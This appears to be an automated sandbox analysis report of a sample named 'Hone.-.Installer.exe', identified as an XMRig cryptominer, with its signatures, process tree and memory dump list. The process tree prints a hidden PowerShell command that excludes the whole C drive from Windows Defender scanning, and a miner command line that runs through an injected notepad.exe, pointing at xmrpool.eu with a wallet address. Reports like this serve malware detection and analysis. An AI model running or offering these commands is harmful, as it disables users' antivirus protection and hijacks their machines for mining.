Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
27/06/2026, 23:46
General
- Target Hone.-.Installer.exe
- Size 2.6MB
- Sample260627-3sft1ad19x
- SHA256 5719013ea15281091d4665237bd7d6596465d6daafd3a2752602cf2225a1719e
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 13 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 2 IoCs
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 48 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Hone.-.Installer.exe"C:\Users\Admin\AppData\Local\Temp\Hone.-.Installer.exe"1⤵
- Downloads MZ/PE file
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --donate-level 3 -o xmrpool.eu:5555 -u 84HEHK9YJjfMWhsBjAGQWFicaLLzqkinsddXKDY1Fs69JUL61TYo9G3Re5JXWR5iLc7fxJewqRf55DPRrnEaVB7VSQMcr5i -p x --cpu-max-threads-hint=80 -a rx/0 --http-port 88882⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --donate-level 3 -o xmrpool.eu:5555 -u 84HEHK9YJjfMWhsBjAGQWFicaLLzqkinsddXKDY1Fs69JUL61TYo9G3Re5JXWR5iLc7fxJewqRf55DPRrnEaVB7VSQMcr5i -p x --cpu-max-threads-hint=80 -a rx/0 --http-port 88882⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Hone.-.Installer.exeC:\Users\Admin\AppData\Roaming\Microsoft\Hone.-.Installer.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_1lbbwfkn.4t1.ps1
Hone.-.Installer.exe
memory/1860-53-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/1860-57-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/1860-43-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/1860-55-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/1860-59-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/1860-45-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/1860-25-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/1860-51-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/1860-37-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/1860-0-0x00000275C1D70000-0x00000275C1D71000-memory.dmp
memory/1860-49-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/1860-23-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/1860-47-0x00007FF677E60000-0x00007FF6780FD000-memory.dmp
memory/2060-48-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2060-56-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2060-42-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2060-50-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2060-52-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2060-44-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2060-54-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2060-46-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2060-58-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2060-40-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2060-38-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2060-60-0x00007FF64EF30000-0x00007FF64F6E0000-memory.dmp
memory/2644-34-0x00007FF667620000-0x00007FF667DD0000-memory.dmp
memory/2644-33-0x0000027E87D90000-0x0000027E87DB0000-memory.dmp
memory/4380-15-0x0000023CA0230000-0x0000023CA024E000-memory.dmp
memory/4380-12-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-1-0x00007FFF3641F000-0x00007FFF36420000-memory.dmp
memory/4380-22-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-21-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-19-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-18-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-17-0x0000023CA0310000-0x0000023CA031A000-memory.dmp
memory/4380-16-0x0000023CA0250000-0x0000023CA0302000-memory.dmp
memory/4380-2-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-11-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-10-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-9-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-8-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-3-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-6-0x00007FFF36290000-0x00007FFF36C34000-memory.dmp
memory/4380-7-0x0000023CA01A0000-0x0000023CA01C2000-memory.dmp
memory/4596-26-0x00007FF797980000-0x00007FF797C1D000-memory.dmp
memory/5636-32-0x0000026A48250000-0x0000026A48302000-memory.dmp